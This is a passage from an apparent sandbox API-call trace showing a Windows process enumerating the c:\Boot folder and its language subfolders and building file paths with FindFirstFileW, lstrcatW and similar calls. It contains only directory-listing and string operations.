(lpString="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0031.516] lstrcpyW (in: lpString1=0x122da0, lpString2="c:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0031.516] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.516] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.516] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.516] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0031.516] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0031.516] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.516] lstrlenW (lpString="fr-FR") returned 5 [0031.516] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fr-FR" | out: lpString1="c:\\Boot\\fr-FR") returned="c:\\Boot\\fr-FR" [0031.516] lstrcatW (in: lpString1="c:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="c:\\Boot\\fr-FR\\") returned="c:\\Boot\\fr-FR\\" [0031.516] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0031.516] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="c:\\Boot\\fr-FR\\*") returned="c:\\Boot\\fr-FR\\*" [0031.516] FindFirstFileW (in: lpFileName="c:\\Boot\\fr-FR\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.516] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.516] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.516] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.516] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.516] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.516] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0031.516] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.516] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0031.516] lstrlenW (lpString="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0031.516] lstrcpyW (in: lpString1=0x122de0, lpString2="c:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0031.516] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.516] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.516] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.517] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0031.517] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0031.517] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.517] lstrlenW (lpString="hu-HU") returned 5 [0031.517] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="hu-HU" | out: lpString1="c:\\Boot\\hu-HU") returned="c:\\Boot\\hu-HU" [0031.517] lstrcatW (in: lpString1="c:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="c:\\Boot\\hu-HU\\") returned="c:\\Boot\\hu-HU\\" [0031.517] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0031.517] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="c:\\Boot\\hu-HU\\*") returned="c:\\Boot\\hu-HU\\*" [0031.517] FindFirstFileW (in: lpFileName="c:\\Boot\\hu-HU\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.517] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.517] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.517] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.517] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0031.517] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.517] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0031.517] lstrlenW (lpString="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0031.517] lstrcpyW (in: lpString1=0x122e28, lpString2="c:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0031.517] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.517] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.517] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.517] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0031.517] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0031.517] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.517] lstrlenW (lpString="it-IT") returned 5 [0031.517] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="it-IT" | out: lpString1="c:\\Boot\\it-IT") returned="c:\\Boot\\it-IT" [0031.517] lstrcatW (in: lpString1="c:\\Boot\\it-IT", lpString2="\\" | out: lpString1="c:\\Boot\\it-IT\\") returned="c:\\Boot\\it-IT\\" [0031.517] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0031.517] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="c:\\Boot\\it-IT\\*") returned="c:\\Boot\\it-IT\\*" [0031.517] FindFirstFileW (in: lpFileName="c:\\Boot\\it-IT\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.517] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.517] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.517] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.517] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0031.517] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.517] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0031.517] lstrlenW (lpString="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0031.518] lstrcpyW (in: lpString1=0x122e70, lpString2="c:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0031.518] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.518] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.518] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.518] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0031.518] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0031.518] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.518] lstrlenW (lpString="ja-JP") returned 5 [0031.518] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ja-JP" | out: lpString1="c:\\Boot\\ja-JP") returned="c:\\Boot\\ja-JP" [0031.518] lstrcatW (in: lpString1="c:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="c:\\Boot\\ja-JP\\") returned="c:\\Boot\\ja-JP\\" [0031.518] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0031.518] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="c:\\Boot\\ja-JP\\*") returned="c:\\Boot\\ja-JP\\*" [0031.518] FindFirstFileW (in: lpFileName="c:\\Boot\\ja-JP\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.518] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.518] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.518] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.518] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.518] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.518] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0031.518] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.518] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0031.518] lstrlenW (lpString="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0031.518] lstrcpyW (in: lpString1=0x122eb8, lpString2="c:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0031.518] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.518] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.518] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.518] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0031.518] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0031.518] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.518] lstrlenW (lpString="ko-KR") returned 5 [0031.519] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ko-KR" | out: lpString1="c:\\Boot\\ko-KR") returned="c:\\Boot\\ko-KR" [0031.519] lstrcatW (in: lpString1="c:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="c:\\Boot\\ko-KR\\") returned="c:\\Boot\\ko-KR\\" [0031.519] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0031.519] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="c:\\Boot\\ko-KR\\*") returned="c:\\Boot\\ko-KR\\*" [0031.519] FindFirstFileW (in: lpFileName="c:\\Boot\\ko-KR\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.519] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.519] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.519] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.519] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.519] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.519] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0031.519] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.519] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0031.519] lstrlenW (lpString="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0031.519] lstrcpyW (in: lpString1=0x122f00, lpString2="c:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0031.519] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.519] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.519] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.519] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0031.519] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0031.519] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.519] lstrlenW (lpString="memtest.exe") returned 11 [0031.519] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0031.519] lstrlenW (lpString="c:\\Boot\\memtest.exe") returned 19 [0031.519] lstrcpyW (in: lpString1=0x122f48, lpString2="c:\\Boot\\memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0031.519] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.519] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0031.519] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0031.519] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.519] lstrlenW (lpString="nb-NO") returned 5 [0031.520] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nb-NO" | out: lpString1="c:\\Boot\\nb-NO") returned="c:\\Boot\\nb-NO" [0031.520] lstrcatW (in: lpString1="c:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="c:\\Boot\\nb-NO\\") returned="c:\\Boot\\nb-NO\\" [0031.520] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0031.520] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="c:\\Boot\\nb-NO\\*") returned="c:\\Boot\\nb-NO\\*" [0031.520] FindFirstFileW (in: lpFileName="c:\\Boot\\nb-NO\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.520] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.520] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.520] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.520] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.520] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0031.520] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.520] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0031.520] lstrlenW (lpString="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0031.520] lstrcpyW (in: lpString1=0x122f78, lpString2="c:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0031.520] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.520] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.520] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.520] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0031.520] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0031.520] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.520] lstrlenW (lpString="nl-NL") returned 5 [0031.520] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nl-NL" | out: lpString1="c:\\Boot\\nl-NL") returned="c:\\Boot\\nl-NL" [0031.520] lstrcatW (in: lpString1="c:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="c:\\Boot\\nl-NL\\") returned="c:\\Boot\\nl-NL\\" [0031.520] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0031.520] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="c:\\Boot\\nl-NL\\*") returned="c:\\Boot\\nl-NL\\*" [0031.520] FindFirstFileW (in: lpFileName="c:\\Boot\\nl-NL\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.520] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.520] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.520] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.520] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.521] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0031.521] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.521] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0031.521] lstrlenW (lpString="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0031.521] lstrcpyW (in: lpString1=0x122fc0, lpString2="c:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0031.521] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.521] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.521] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.521] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0031.521] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0031.521] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.521] lstrlenW (lpString="pl-PL") returned 5 [0031.521] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pl-PL" | out: lpString1="c:\\Boot\\pl-PL") returned="c:\\Boot\\pl-PL" [0031.521] lstrcatW (in: lpString1="c:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="c:\\Boot\\pl-PL\\") returned="c:\\Boot\\pl-PL\\" [0031.521] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0031.521] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="c:\\Boot\\pl-PL\\*") returned="c:\\Boot\\pl-PL\\*" [0031.521] FindFirstFileW (in: lpFileName="c:\\Boot\\pl-PL\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.521] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.521] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.521] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.521] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.521] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.521] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0031.521] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.521] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0031.521] lstrlenW (lpString="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0031.521] lstrcpyW (in: lpString1=0x123008, lpString2="c:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0031.521] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.521] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.521] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.521] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0031.522] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0031.522] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.522] lstrlenW (lpString="pt-BR") returned 5 [0031.522] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-BR" | out: lpString1="c:\\Boot\\pt-BR") returned="c:\\Boot\\pt-BR" [0031.522] lstrcatW (in: lpString1="c:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="c:\\Boot\\pt-BR\\") returned="c:\\Boot\\pt-BR\\" [0031.522] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0031.522] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-BR\\*") returned="c:\\Boot\\pt-BR\\*" [0031.522] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-BR\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.522] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.522] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.522] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.522] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0031.522] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.522] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0031.522] lstrlenW (lpString="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0031.523] lstrcpyW (in: lpString1=0x123050, lpString2="c:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0031.523] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.523] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.523] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.523] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0031.523] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0031.523] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.523] lstrlenW (lpString="pt-PT") returned 5 [0031.523] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-PT" | out: lpString1="c:\\Boot\\pt-PT") returned="c:\\Boot\\pt-PT" [0031.523] lstrcatW (in: lpString1="c:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="c:\\Boot\\pt-PT\\") returned="c:\\Boot\\pt-PT\\" [0031.523] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0031.523] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-PT\\*") returned="c:\\Boot\\pt-PT\\*" [0031.523] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-PT\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.523] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.523] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.523] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.523] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.523] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.523] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.523] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.523] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0031.523] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.523] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0031.523] lstrlenW (lpString="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0031.524] lstrcpyW (in: lpString1=0x12d900, lpString2="c:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0031.524] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.524] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.524] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.524] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0031.524] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0031.524] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.524] lstrlenW (lpString="ru-RU") returned 5 [0031.524] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ru-RU" | out: lpString1="c:\\Boot\\ru-RU") returned="c:\\Boot\\ru-RU" [0031.524] lstrcatW (in: lpString1="c:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="c:\\Boot\\ru-RU\\") returned="c:\\Boot\\ru-RU\\" [0031.524] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0031.524] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="*" | out: 